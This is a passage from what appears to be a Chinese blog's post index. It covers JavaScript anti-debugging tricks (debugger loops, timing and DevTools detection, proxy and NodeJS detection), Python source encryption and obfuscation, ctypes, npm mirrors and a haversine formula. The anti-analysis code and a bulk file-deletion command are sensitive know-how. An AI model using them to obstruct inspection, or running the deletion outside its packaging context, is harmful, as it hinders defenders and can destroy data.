DevTools）都可以通过设置断点的方式阻止脚本代码执行，而断点也是代码调试中最基本的了。如果你研究过调试器或者 x86 架构，你可能会比较熟悉 0xCC 指令。在 JavaScript 中，我们有一个名叫 debugger 的类似指令。当我们在代码中声明了 debugger 函数后，脚本代码将会在 debugger 指令这里停止运行。比如说： console.log(\"Seeme!\");debugger;console.log(\"Seeme!\"); 很多商业产品会在代码中定义一个无限循环的 debugger 指令，不过某些浏览器会屏蔽这种代码，而有些则不会。这种方法的主要目的就是让那些想要调试你代码的人感到厌烦，因为无限循环意味着代码会不断地弹出窗口来询问你是否要继续运行脚本代码： setTimeout(function(){while (true) {eval(\"debugger\")}}) setInterval(function() {var a = new Date(); debugger; return new Date() - a > 100;}, 100); 时间差异这是一种从传统反逆向技术那里借鉴过来的基于时间的反调试技巧。当脚本在 DevTools 等工具环境下执行时，运行速度会非常慢（时间久），所以我们就可以根据运行时间来判断脚本当前是否正在被调试。比如说，我们可以通过测量代码中两个设置点之间的运行时间，然后用这个值作为参考，如果运行时间超过这个值，说明脚本当前在调试器中运行。演示代码如下： setInterval(function(){ var startTime = performance.now(), check,diff; for (check = 0; check < 1000; check++){ console.log(check); console.clear(); } diff = performance.now() - startTime; if (diff > 200){ alert(\"Debugger detected!\"); }},500); DevTools 检测（I）[Chrome]：getter这项技术利用的是 div 元素中的 id 属性，当 div 元素被发送至控制台（例如 console.log(div) ）时，浏览器会自动尝试获取其中的元素 id。如果代码在调用了 console.log 之后又调用了 getter 方法，说明控制台当前正在运行。简单的概念验证代码如下： let div = document.createElement('div');let loop = setInterval(() => { console.log(div); console.clear();});Object.defineProperty(div,\"id\", {get: () => { clearInterval(loop); alert(\"Dev Tools detected!\");}}); DevTools 检测（II）[Chrome]：大小更改如果打开了 DevTools（除非将其取消对接打开），则 window.outerWidth / Height 和 window.innerWidth / Height 之间的差异将发生变化，因此可以循环检测。Devtools-detect 使用此技巧： const widthThreshold = window.outerWidth - window.innerWidth > threshold;const heightThreshold = window.outerHeight - window.innerHeight > threshold;const orientation = widthThreshold ? 'vertical' : 'horizontal'; 隐式流完整性控制当我们尝试对 JavaScript 代码段进行模糊处理时，第一步就是开始重命名一些变量和函数，以阐明源代码。您只需将代码拆分为较小的代码块，然后开始在此处和此处重命名。在 JavaScript 中，我们可以检查函数名称是否已更改或保持相同的名称。或更准确地说，我们可以检查堆栈跟踪是否包含原始名称和原始顺序。使用 arguments.callee.caller，我们可以创建堆栈跟踪，以保存先前执行的函数。我们可以使用此信息来生成一个哈希，该哈希将成为用于生成用于解密 JavaScript 其他部分的密钥的种子。这样，我们就可以对流的完整性进行隐式控制，因为如果重命名功能或要执行的功能顺序稍有不同，则创建的哈希将完全不同。如果哈希不同，则生成的密钥也将不同。如果密钥不同，则无法解密代码。为了更好地理解它，请参见下一个示例： function getCallStack() { var stack = \"#\", total = 0, fn =arguments.callee; while ( (fn = fn.caller) ) { stack = stack + \"\" +fn.name; total++ } return stack}function test1() { console.log(getCallStack());}function test2() { test1();}function test3() { test2();}function test4() { test3();}test4(); 执行此代码时，您将看到字符串 #test1test2test3test4 。如果我们修改（我邀请您这样做）任何函数的名称，返回的字符串也将不同。我们可以使用该字符串计算安全哈希，然后将其用作种子，以得出用于解密其他代码块的密钥。有趣的是，如果由于密钥无效（分析人员更改了函数名称）而无法解密下一个代码块，则可以捕获异常并将执行流重定向到伪路径。 VM50:10 #test1test2test3test4 请记住，此技巧需要与强大的混淆功能结合在一起才能使用。 隐式代码完整性控制  在 “ 函数重新定义” 部分的结尾，我们提到可以使用 toString（）方法检索 JavaScript 中函数的代码。就像我们说过的那样，这对于检查函数是否已重新定义很有用，实际上，可以使用相同的想法来知道函数的代码是否被修改。 效果较差的方法是计算函数或代码块的哈希并将其与已知表进行比较。但是这种方法确实很愚蠢。一种更现实，更有效的方法可以重复使用我们之前在堆栈跟踪中使用的相同策略。我们可以计算代码块的哈希值，并将其用作解密其他代码块的密钥。 创建隐式完整性控件的最漂亮方法是在 md5 中使用冲突。基本上，我们可以创建在自己的函数中测试其自己的 md5 的函数。为了在功能内执行检查，我们需要进行碰撞处理（我们想创建类似的东西 function(){ if (md5(arguments.callee.toString() === '<md5>') code_function; } )。 该技术背后的概念与用于生成图像文件的概念相同，在自己的图片中显示了 md5 校验和。这是一个经典示例：显示自己的 md5 校验和的 gif。 (注: 本站的图片处理策略可能更改了图片 md5 值, 点击查看原图 => 显示自己的 md5 校验和的 gif) 关于如何产生这种冲突，有大量的文章（甚至在 PoC || GTFO 中出现了一些示例），但是我阅读并可以复制的第一个文章是使用 PHP 编写的。您可以非常快速地预先计算生成碰撞所需的块。实际上，这是@cgvwzq 创建的示例，通过这种方式检查了函数内容的完整性。 如前所述，我们需要对这种技术进行强力混淆。 代理对象 (old, 已弃用)代理对象是目前 JavaScript 中最有用的一个工具，这种对象可以帮助我们了解代码中的其他对象，包括修改其行为以及触发特定环境下的对象活动。比如说，我们可以创建一个嗲哩对象并跟踪每一次document.createElement调用，然后记录下相关信息： const handler = { // Our hook to keep the track apply: function (target, thisArg, args){ console.log(\"Intercepted a call tocreateElement with args: \" + args); return target.apply(thisArg, args) }} document.createElement= new Proxy(document.createElement, handler) // Create our proxy object withour hook ready to interceptdocument.createElement('div'); 接下来，我们可以在控制台中记录下相关参数和信息： VM216:3 Intercepted a call tocreateElement with args: div 我们可以利用这些信息并通过拦截某些特定函数来调试代码，但是本文的主要目的是为了介绍反调试技术，那么我们如何检测 “对方” 是否使用了代理对象呢？其实这就是一场 “猫抓老鼠” 的游戏，比如说，我们可以使用相同的代码段，然后尝试调用 toString 方法并捕获异常： //Call a \"virgin\" createElement:try { document.createElement.toString();}catch(e){ console.log(\"I saw your proxy!\");} 信息如下： \"function createElement() { [native code] }\" 但是当我们使用了代理之后： //Then apply the hookconst handler = { apply: function (target, thisArg, args){ console.log(\"Intercepted a call tocreateElement with args: \" + args); return target.apply(thisArg, args) }}document.createElement= new Proxy(document.createElement, handler); //Callour not-so-virgin-after-that-party createElementtry { document.createElement.toString();}catch(e) { console.log(\"I saw your proxy!\");} 没错，我们确实可以检测到代理： VM391:13 I saw your proxy! 我们还可以添加 toString 方法： const handler = { apply: function (target, thisArg, args){ console.log(\"Intercepted a call tocreateElement with args: \" + args); return target.apply(thisArg, args) }}document.createElement= new Proxy(document.createElement, handler);document.createElement= Function.prototype.toString.bind(document.createElement); //Add toString//Callour not-so-virgin-after-that-party createElementtry { document.createElement.toString();}catch(e) { console.log(\"I saw your proxy!\");} 现在我们就没办法检测到了： \"function createElement() { [native code] }\" 代理对象异常把戏不能再使用了。幸运的是，我们仍然可以通过 toString 长度检测代理对象的使用。例如，document.createElement的大小为 42（Chrome）： document.createElement.toString().length42 另一方面，当我们创建代理时，此值将更改： const handler = { apply: function(target, thisArg, args) { console.log(\"Intercepted call\"); return target.apply(thisArg, args); }}document.createElement = new Proxy(document.createElement, handler);document.createElement.toString().length29 因此，我们可以执行以下操作： if (document.createElement.toString().length < 30) { console.log(\"I saw your proxy\");}else { console.log(\"Not a proxy\");} 此技巧不能在 windoww 对象中使用，但仍然有用。 限制环境如引言中所述，我们想要做的一件事就是尝试检测代码是否在正确的环境中执行。我们所谓的 “正确的环境” 是： 该代码正在浏览器（不是仿真器，不是 NodeJS 等）中执行。 该代码正在指定给它的域 / 资源中执行（不是本地服务器） 例如，我们可以用来证明代码是否在本地执行的简单检查是： // Pretty stupid idea found in commercial softwareif (location.hostname === \"localhost\" || location.hostname === \"127.0.0.1\" || location.hostname === \"\") { console.log(\"Don't run me here!\")} 如果我们在本地 html 中运行此 JavaScript 代码段，则会看到以下消息： VM28:3 Don't run me here! 按照这个想法，另一个检查选项是用于打开文档的处理程序（类似 if (location.protocol == 'file:'){...}），或者尝试通过 HTTP 请求进行测试，以确定是否有其他资源（图像，css 等）可用。当然，所有这些方法都非常容易被绕过。 如果代码是在 NodeJS 中执行的（或者正如我们在本文中提到的：将流更改为伪造的路径），则可以避免执行代码。这很危险，但是我在野外看到使用 NodeJS 来解决 JavaScript 挑战并绕过反暴力缓解措施。我们可以尝试检测仅存在于浏览器上下文中的对象的存在： //Under NodeJS try { console.log(window); } catch(e){ console.log(\"NodeJS detected!!!!\"); } NodeJS detected!!!! 反之亦然：在 NodeJS 中，我们具有浏览器上下文中不存在的对象。 //Under the browserconsole.log(global)VM104:1 Uncaught ReferenceError: global is not defined at <anonymous>:1:13//Under NodeJS console.log(global){ console: Console { log: [Function: bound log],... ... 我们可以搜索仅存在于浏览器中的大量元数据。我们可以检索到的一些此类想法可以在 Panopticlick Project 中看到。 相关文献javascript-antidebugging","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"JavaScript","slug":"Web/JavaScript","permalink":"https://blog.mhuig.top/categories/Web/JavaScript/"}],"tags":[{"name":"反调试","slug":"反调试","permalink":"https://blog.mhuig.top/tags/%E5%8F%8D%E8%B0%83%E8%AF%95/"}]},{"title":"Python 如何调用 C","slug":"Python/Python如何调用C","date":"2020-02-24T07:45:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/b6ffaac2/","permalink":"https://blog.mhuig.top/p/b6ffaac2/","excerpt":"Python 语言特点：简单，明确，优雅，高效率，同时 Python 语言的可扩展性和可嵌入性很强，又被成为 “胶水语言”。但是 Python 语言有一个最大的缺点，便是运行速度慢，所以当你对速度有要求时，你可以用 C 语言来编写你的关键代码，或者当你希望某些算法不公开时，也可以把你的程序用 C 编写，然后在你的 Python 程序中使用它们。本文将介绍在 Python 程序中如何调用 C…","text":"Python 语言特点：简单，明确，优雅，高效率，同时 Python 语言的可扩展性和可嵌入性很强，又被成为 “胶水语言”。但是 Python 语言有一个最大的缺点，便是运行速度慢，所以当你对速度有要求时，你可以用 C 语言来编写你的关键代码，或者当你希望某些算法不公开时，也可以把你的程序用 C 编写，然后在你的 Python 程序中使用它们。本文将介绍在 Python 程序中如何调用 C… 编写 C 语言代码一个简单的 c 语言程序，实现了两个整数的加法运算 #include <stdio.h>int sum(int a,int b){ return a + b;} 生成 so 库文件使用命令： gcc -fPIC -shared main.c -o lib.so so 库文件不能跨平台使用，如果你在 Windows 下面生成的，便只能够在 Windows 下面使用，使用命令以后，生成后缀为.so 的库文件 编写 Python 程序来调用 C 语言 把 so 库文件放入我们的 Python 项目中 使用 ctypes 库中的 CDLL 来加载库 lib_main = CDLL (‘so 库文件路径’) 调用 C sum_value = lib_main.sum(10, 20) # ctypes的库from ctypes import *# 加载so库lib_main = CDLL('./lib.so') # CDLL加载库sum_value = lib_main.sum(10, 20)print(sum_value) 最终得到结果 30 ctypes 库是 Python 提供的一个外部函数库，提供 C 语言兼容集中数据类型，可以允许调用 C 编译好的库，已下附上 ctypes 库官方文档：https://docs.python.org/3/library/ctypes.html","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"}],"tags":[{"name":"开发技术","slug":"开发技术","permalink":"https://blog.mhuig.top/tags/%E5%BC%80%E5%8F%91%E6%8A%80%E6%9C%AF/"}]},{"title":"Npm 更换源","slug":"web/npm更换源","date":"2020-02-23T11:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/ba036091/","permalink":"https://blog.mhuig.top/p/ba036091/","excerpt":"","text":"由于 npm 的源在国外，所以国内用户使用起来有很多不方便，比如拖慢下载速度。 如何使用有很多方法来配置 npm registry 地址，下面根据不同情境列出几种比较常用的方法。以淘宝 npm 为例 更换为淘宝 npm 源npm config set registry http://registry.npmmirror.com 使用 npm 官方镜像npm config set registry https://registry.npmjs.org/ NPM 检查并更新项目依赖的版本#### 安装npm install -g npm-check-updates#### 检查当前目录下可更新的依赖项ncu#### 升级 package.jsonncu -u#### 根据更新的 package.json 安装新版本npm install 已知的 npm 镜像源目前国内除了淘宝（npmmirror），已知的 npm 镜像源还有： 华为云 https://mirrors.huaweicloud.com/home 腾讯云 https://mirrors.cloud.tencent.com/help/npm.html 南京邮电大学（NJUPT） https://mirrors.njupt.edu.cn/help/npm/ 浙江大学 https://mirrors.zju.edu.cn/npm/ 已知的 Nodejs 预编译包： 教育网内可去 https://mirrorz.org/list/nodejs-release 任选 华为云 https://repo.huaweicloud.com/nodejs/ 淘宝 NPM 镜像站喊你切换新域名啦【公告】淘宝 npm 域名即将切换 && npmmirror 重构升级https://zhuanlan.zhihu.com/p/465424728 【望周知】淘宝 NPM 镜像站喊你切换新域名啦https://zhuanlan.zhihu.com/p/430580607 要点总结如下： 淘宝 NPM 镜像站品牌升级，新品牌为 npmmirror （NPM 中国镜像站）。 广为人知的淘宝 NPM 镜像老域名（*.npm.taobao.org）将在 2022.06.30 号正式下线和停止 DNS 解析。 涉及到的域名迁移如下： http://npm.taobao.org => http://npmmirror.comhttp://registry.npm.taobao.org => http://registry.npmmirror.com 可能产生的大影响：简而言之，所有写死的都得换。企业用户需要联系 网管/IT/SRE 更新防火墙白名单。存量应用的 lock 文件，开发者需要自行执行 sed 等指令去替换或重新生成。本地 npmrc 里面的 registry 地址（如果有，则）需要开发者自行更新。 本文已经过时的内容备份 2022.02.12 移除内容## 如何使用有很多方法来配置npm registry地址，下面根据不同情境列出几种比较常用的方法。以淘宝npm为例### 临时使用``bashnpm --registry https://registry.npm.taobao.org install express``### 持久使用``bashnpm config set registry https://registry.npm.taobao.org``配置后可通过下面方式来验证是否成功：``bashnpm config get registry``或者``bashnpm info express``### 更换为淘宝npm源``bashnpm install -g cnpm --registry=https://registry.npm.taobao.org``通过cnpm更新模块``bashcnpm install expresstall express``### 使用官方镜像``bashnpm config set registry https://registry.npmjs.org/``## 总结更换为淘宝npm源``bashnpm config set registry https://registry.npm.taobao.org``使用官方镜像``bashnpm config set registry https://registry.npmjs.org/``NPM检查并更新项目依赖的版本``bash#### 安装npm install -g npm-check-updates#### 检查当前目录下可更新的依赖项ncu#### 升级 package.jsonncu -u#### 根据更新的 package.json 安装新版本npm install``","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"npm","slug":"Web/npm","permalink":"https://blog.mhuig.top/categories/Web/npm/"}],"tags":[{"name":"开发技术","slug":"开发技术","permalink":"https://blog.mhuig.top/tags/%E5%BC%80%E5%8F%91%E6%8A%80%E6%9C%AF/"}]},{"title":"LBS 球面距离公式","slug":"math/LBS 球面距离公式","date":"2020-02-23T01:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/5e7ad437/","permalink":"https://blog.mhuig.top/p/5e7ad437/","excerpt":"","text":"维基百科推荐使用 Haversine 公式，理由是 Great-circle distance 公式用到了大量余弦函数， 而两点间距离很短时（比如地球表面上相距几百米的两点），余弦函数会得出 的结果， 会导致较大的舍入误差。而 Haversine 公式采用了正弦函数，即使距离很小，也能保持足够的有效数字。 以前采用三角函数表计算时的确会有这个问题，但经过实际验证，采用计算机来计算时，两个公式的区别不大。 稳妥起见，这里还是采用 Haversine 公式。 Haversine 公式 其中 为地球半径，可取平均值 6371.137km , 表示两点的纬度； 表示两点经度的差值。 距离计算函数下面就是计算球面间两点 (lat0, lng)-(lat1, lng1) 之间距离的函数。 from math import sin, asin, cos, radians, fabs, sqrt EARTH_RADIUS=6371 # 地球平均半径，6371km def hav(theta): s = sin(theta / 2) return s * s def get_distance_hav(lat0, lng0, lat1, lng1): \"用haversine公式计算球面两点间的距离。\" # 经纬度转换成弧度 lat0 = radians(lat0) lat1 = radians(lat1) lng0 = radians(lng0) lng1 = radians(lng1) dlng = fabs(lng0 - lng1) dlat = fabs(lat0 - lat1) h = hav(dlat) + cos(lat0) * cos(lat1) * hav(dlng) distance = 2 * EARTH_RADIUS * asin(sqrt(h)) return distance 相关文献LBS 球面距离公式","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"距离","slug":"距离","permalink":"https://blog.mhuig.top/tags/%E8%B7%9D%E7%A6%BB/"}]},{"title":"","slug":"notes/NoSQL","date":"2020-02-08T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-nosql/","permalink":"https://blog.mhuig.top/p/notes-nosql/","excerpt":".fa-secondary{opacity:.4} NoSQL 开始阅读","text":".fa-secondary{opacity:.4} NoSQL 开始阅读 NoSQL","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"NoSQL","slug":"大数据/NoSQL","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/NoSQL/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"如何加密你的 Python 代码","slug":"Python/如何加密你的 Python 代码","date":"2020-02-05T05:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/b190dcb/","permalink":"https://blog.mhuig.top/p/b190dcb/","excerpt":"讲述了如何通过修改 Python 解释器达到加解密 Python 代码的目的。","text":"讲述了如何通过修改 Python 解释器达到加解密 Python 代码的目的。 前言本文将首先介绍下现有源码加密方案的思路、方法、优点与不足，进而介绍如何通过定制 Python 解释器来达到更好地加解密源码的目的。 现有加密方案由于 Python 的动态特性和开源特点，导致 Python 代码很难做到很好的加密。社区中的一些声音认为这样的限制是事实，应该通过法律手段而不是加密源码达到商业保护的目的；而还有一些声音则是不论如何都希望能有一种手段来加密。于是乎，人们想出了各种或加密、或混淆的方案，借此来达到保护源码的目的。 常见的源码保护手段有如下几种： 发行 .pyc 文件 代码混淆 使用 py2exe 使用 Cython 下面来简单说说这些方案。 发行 .pyc 文件思路大家都知道，Python 解释器在执行代码的过程中会首先生成 .pyc 文件，然后解释执行 .pyc 文件中的内容。当然了，Python 解释器也能够直接执行 .pyc 文件。而 .pyc 文件是二进制文件，无法直接看出源码内容。如果发行代码到客户环境时都是 .pyc 而非 .py 文件的话，那岂不是能达到保护 Python 代码的目的？ 方法把 .py 文件编译为 .pyc 文件，是件非常轻松地事情，可不需要把所有代码跑一遍，然后去捞生成的 .pyc 文件。 事实上，Python 标准库中提供了一个名为 compileall 的库，可以轻松地进行编译。 执行如下命令能够将遍历 目录下的所有 .py 文件，将之编译为 .pyc 文件： python -m compileall <src> 然后删除 目录下所有 .py 文件就可以打包发布了： find <src> -name '*.py' -type f -print -exec rm {} \\; 优点 简单方便，提高了一点源码破解门槛 平台兼容性好，.py 能在哪里运行，.pyc 就能在哪里运行 不足 解释器兼容性差，.pyc 只能在特定版本的解释器上运行 有现成的反编译工具，破解成本低 python-uncompyle6 就是这样一款反编译工具，效果出众。 执行如下命令，即可将 .pyc 文件反编译为 .py 文件： uncompyle6 *compiled-python-file-pyc-or-pyo* 代码混淆如果代码被混淆到一定程度，连作者看着都费劲的话，是不是也能达到保护源码的目的呢？ 思路既然我们的目的是混淆，就是通过一系列的转换，让代码逐渐不那么让人容易明白，那就可以这样下手： 移除注释和文档。没有这些说明，在一些关键逻辑上就没那么容易明白了。 改变缩进。完美的缩进看着才舒服，如果缩进忽长忽短，看着也一定闹心。 在 tokens 中间加入一定空格。这就和改变缩进的效果差不多。 重命名函数、类、变量。命名直接影响了可读性，乱七八糟的名字可是阅读理解的一大障碍。 在空白行插入无效代码。这就是障眼法，用无关代码来打乱阅读节奏。 方法方法一：使用 oxyry 进行混淆http://pyob.oxyry.com/ 是一个在线混淆 Python 代码的网站，使用它可以方便地进行混淆。 假定我们有这样一段 Python 代码，涉及到了类、函数、参数等内容： # coding: utf-8class A(object): \"\"\" Description \"\"\" def __init__(self, x, y, default=None): self.z = x + y self.default = default def name(self): return 'No Name'def always(): return Truenum = 1a = A(num, 999, 100)a.name()always() 经过 Oxyry 的混淆，得到如下代码： class A (object ):#line:4 \"\"#line:7 def __init__ (O0O0O0OO00OO000O0 ,OO0O0OOOO0000O0OO ,OO0OO00O00OO00OOO ,OO000OOO0O000OOO0 =None ):#line:9 O0O0O0OO00OO000O0 .z =OO0O0OOOO0000O0OO +OO0OO00O00OO00OOO #line:10 O0O0O0OO00OO000O0 .default =OO000OOO0O000OOO0 #line:11 def name (O000O0O0O00O0O0OO ):#line:13 return 'No Name'#line:14def always ():#line:17 return True #line:18num =1 #line:21a =A (num ,999 ,100 )#line:22a .name ()#line:23always () 混淆后的代码主要在注释、参数名称和空格上做了些调整，稍微带来了点阅读上的障碍。 方法二：使用 pyobfuscate 库进行混淆pyobfuscate 算是一个颇具年头的 Python 代码混淆库了，但却是 “老当益壮” 了。 对上述同样一段 Python 代码，经 pyobfuscate 混淆后效果如下： # coding: utf-8if 64 - 64: i11iIiiIiiif 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIiclass o0OO00 ( object ) : if 78 - 78: i11i . oOooOoO0Oo0O if 10 - 10: IIiI1I11i11 if 54 - 54: i11iIi1 - oOo0O0Ooo if 2 - 2: o0 * i1 * ii1IiI1i % OOooOOo / I11i / Ii1I def __init__ ( self , x , y , default = None ) : self . z = x + y self . default = default if 48 - 48: iII111i % IiII + I1Ii111 / ooOoO0o * Ii1I def name ( self ) : return 'No Name' if 46 - 46: ooOoO0o * I11i - OoooooooOO if 30 - 30: o0 - O0 % o0 - OoooooooOO * O0 * OoooooooOOdef Oo0o ( ) : return True if 60 - 60: i1 + I1Ii111 - I11i / i1IIi if 40 - 40: oOooOoO0Oo0O / O0 % ooOoO0o + O0 * i1IIiI1Ii11I1Ii1i = 1Ooo = o0OO00 ( I1Ii11I1Ii1i , 999 , 100 )Ooo . name ( )Oo0o ( ) # dd678faae9ac167bc83abf78e5cb2f3f0688d3a3 相比于方法一，方法二的效果看起来更好些。除了类和函数进行了重命名、加入了一些空格，最明显的是插入了若干段无关的代码，变得更加难读了。 优点 简单方便，提高了一点源码破解门槛 兼容性好，只要源码逻辑能做到兼容，混淆代码亦能 不足 只能对单个文件混淆，无法做到多个互相有联系的源码文件的联动混淆 代码结构未发生变化，也能获取字节码，破解难度不大 使用 py2exe思路py2exe 是一款将 Python 脚本转换为 Windows 平台上的可执行文件的工具。其原理是将源码编译为 .pyc 文件，加之必要的依赖文件，一起打包成一个可执行文件。 如果最终发行由 py2exe 打包出的二进制文件，那岂不是达到了保护源码的目的？ 方法使用 py2exe 进行打包的步骤较为简便。 1. 编写入口文件。本示例中取名为 hello.py： print 'Hello World' 2. 编写 setup.py： from distutils.core import setupimport py2exesetup(console=['hello.py']) 3. 生成可执行文件 python setup.py py2exe 生成的可执行文件位于 dist\\hello.exe。 优点 能够直接打包成 exe，方便分发和执行 破解门槛比 .pyc 更高一些 不足 兼容性差，只能运行在 Windows 系统上 生成的可执行文件内的布局是明确、公开的，可以找到源码对应的 .pyc 文件，进而反编译出源码 使用 Cython思路虽说 Cython 的主要目的是带来性能的提升，但是基于它的原理：将 .py/.pyx 编译为 .c 文件，再将 .c 文件编译为 .so(Unix) 或 .pyd(Windows)，其带来的另一个好处就是难以破解。 方法使用 Cython 进行开发的步骤也不复杂。 1. 编写文件 hello.pyx 或 hello.py： def hello(): print('hello') 2. 编写 setup.py： from distutils.core import setupfrom Cython.Build import cythonizesetup(name='Hello World app', ext_modules=cythonize('hello.pyx')) 3. 编译为 .c，再进一步编译为 .so 或 .pyd： python setup.py build_ext --inplace 执行 python -c \"from hello import hello;hello ()\" 即可直接引用生成的二进制文件中的 hello () 函数。 优点 生成的二进制 .so 或 .pyd 文件难以破解 同时带来了性能提升 不足 兼容性稍差，对于不同版本的操作系统，可能需要重新编译 虽然支持大多数 Python 代码，但如果一旦发现部分代码不支持，完善成本较高 定制 Python 解释器考虑前文所述的几个方案，均是从源码的加工入手，或多或少都有些不足。假设我们从解释器的改造入手，会不会能够更好的保护代码呢？ 由于发行商业 Python 程序到客户环境时通常会包含一个 Python 解释器，如果改造解释器能解决源码保护的问题，那么也是可选的一条路。 假定我们有一个算法，能够加密原始的 Python 代码，这些加密后代码随发行程序一起，可被任何人看到，却难以破解。另一方面，有一个定制好的 Python 解释器，它能够解密这些被加密的代码，然后解释执行。而由于 Python 解释器本身是二进制文件，人们也就无法从解释器中获取解密的关键数据。从而达到了保护源码的目的。 要实现上述的设想，我们首先需要掌握基本的加解密算法，其次探究 Python 执行代码的方式从而了解在何处进行加解密，最后禁用字节码用以防止通过 .pyc 反编译。 加解密算法对称密钥加密算法对称密钥加密（Symmetric-key algorithm）又称为对称加密、私钥加密、共享密钥加密，是密码学中的一类加密算法。这类算法在加密和解密时使用相同的密钥，或是使用两个可以简单地相互推算的密钥。 对称加密算法的特点是算法公开、计算量小、加密速度快、加密效率高。 常见的对称加密算法有：DES、3DES、AES、Blowfish、IDEA、RC5、RC6 等。 对称密钥加解密过程如下： 明文通过密钥加密成密文，密文也可通过相同的密钥解密为明文。 通过 openssl 工具，我们能够方便选择对称加密算法进行加解密。下面我们以 AES 算法为例，介绍其用法。 AES 加密指定密码进行对称加密 openssl enc -aes-128-cbc -in test.py -out entest.py -pass pass:123456 指定文件进行对称加密 openssl enc -aes-128-cbc -in test.py -out entest.py -pass file:passwd.txt 指定环境变量进行对称加密 openssl enc -aes-128-cbc -in test.py -out entest.py -pass env:passwd AES 解密指定密码进行对称解密 openssl enc -aes-128-cbc -d -in entest.py -out test.py -pass pass:123456 指定文件进行对称解密 openssl enc -aes-128-cbc -d -in entest.py -out test.py -pass file:passwd.txt 指定环境变量进行对称解密 openssl enc -aes-128-cbc -d -in entest.py -out test.py -pass env:passwd 非对称密钥加密算法密钥加密（英语：public-key cryptography，又译为公开密钥加密），也称为非对称加密（asymmetric cryptography），一种密码学算法类型，在这种密码学方法中，需要一对密钥，一个是私钥，另一个则是公钥。这两个密钥是数学相关，用某用户公钥加密后所得的信息，只能用该用户的私钥才能解密。 非对称加密算法的特点是算法强度复杂、安全性依赖于算法与密钥但是由于其算法复杂，而使得加密解密速度没有对称加密解密的速度快。 常见的对称加密算法有：RSA、Elgamal、背包算法、Rabin、D - H、ECC 等。 非对称密钥加解密过程如下： 明文通过公钥加密成密文，密文通过与公钥对应的私钥解密为明文。 通过 openssl 工具，我们能够方便选择非对称加密算法进行加解密。下面我们以 RSA 算法为例，介绍其用法。 生成私钥、公钥辅以 AES-128 算法，生成 2048 比特长度的私钥 openssl genrsa -aes128 -out private.pem 2048 根据私钥来生成公钥 openssl rsa -in private.pem -outform PEM -pubout -out public.pem RSA 加密使用公钥进行加密 openssl rsautl -encrypt -in passwd.txt -inkey public.pem -pubin -out enpasswd.txt RSA 解密使用私钥进行解密 openssl rsautl -decrypt -in enpasswd.txt -inkey private.pem -out passwd.txt 基于加密算法实现源码保护对称加密适合加密源码文件，而非对称加密适合加密密钥。如果将两者结合，就能达到加解密源码的目的。 在构建环境进行加密我们发行出去安装包中，源码应该是被加密过的，那么就需要在构建阶段对源码进行加密。加密的过程如下： 1. 随机生成一个密钥。这个密钥实际上是一个用于对称加密的密码。 2. 使用该密钥对源代码进行对称加密，生成加密后的代码。 3. 使用公钥（生成方法见 非对称密钥加密算法）对该密钥进行非对称加密，生成加密后的密钥。 不论是加密后的代码还是加密后的密钥，都会放在安装包中。它们能够被用户看到，却无法被破译。而 Python 解释器该如何执行加密后的代码呢？ Python 解释器进行解密假定我们发行的 Python 解释器中内置了与公钥相对应的私钥，有了它就有了解密的可能。而由于 Python 解释器本身是二进制文件，所以不需要担心内置的私钥会被看到。解密的过程如下： 1.Python 解释器执行加密代码时需要被传入指示加密密钥的参数，通过这个参数，解释器获取到了加密密钥 2.Python 解释器使用内置的私钥，对该加密密钥进行非对称解密，得到原始密钥 3.Python 解释器使用原始密钥对加密代码进行对称解密，得到原始代码 4.Python 解释器执行这段原始代码 可以看到，通过改造构建环节、定制 Python 解释器的执行过程，便可以实现保护源码的目的。改造构建环节是容易的，但是如何定制 Python 解释器呢？我们需要深入了解解释器执行脚本和模块的方式，才能在特定的入口进行控制。 脚本、模块的执行与解密执行 Python 代码的几种方式为了找到 Python 解释器执行 Python 代码时的所有入口，我们需要首先执行 Python 解释器都能以怎样的方式执行代码。 直接运行脚本python test.py 直接运行语句python -c \"print 'hello'\" 直接运行模块python -m test 导入、重载模块python>>> import test # 导入模块>>> reload(test) # 重载模块 直接运行语句 的方式接收的就是明文的代码，我们也无需对这种方式做额外处理。直接运行模块和导入、重载模块这两种方式在流程上是殊途同归的，所以接下来会一起来看。因此我们将分两种情况：运行脚本和加载模块来进一步探究各自的过程和解密方式。 运行脚本时解密运行脚本的过程Python 解释器在运行脚本时的代码调用逻辑如下： main WinMain[Modules/python.c] [PC/WinMain.c] \\ / \\ / \\ / \\ / \\ / Py_Main [Moduls/main.c] Python 解释器运行脚本的入口函数因操作系统而异，在 Linux/Unix 系统上，主入口函数是 Modules/python.c 中的 main 函数，在 Windows 系统上，则是 PC/WinMain.c 中的 WinMain 函数。不过这两个函数最终都会调用 Moduls/main.c 中的 Py_Main 函数。 我们不妨来看看 Py_Main 函数中的相关逻辑： [Modules/Main.c]--------------------------------------intPy_Main(int argc, char **argv){ if (command) { // 处理 python -c <command> } else if (module) { // 处理 python -m <module> } else { // 处理 python <file> ... fp = fopen(filename, \"r\"); ... } 处理和的部分我们暂且先不管，在处理文件（通过直接运行脚本的方式）的逻辑中，可以看到解释打开了文件，获得了文件指针。那么如果我们把这里的 fopen 换成是自定义的 decrypt_open 函数，这个函数用来打开一个加密文件，然后进行解密，并返回一个文件指针，这个指针指向解密后的文件。那么，不就可以实现解密脚本的目的了吗？ 自定义 decrypt_open我们不妨新增一个 Modules / crypt.c 文件，用来存放一些自定义的加解密函数。 decrypt_open 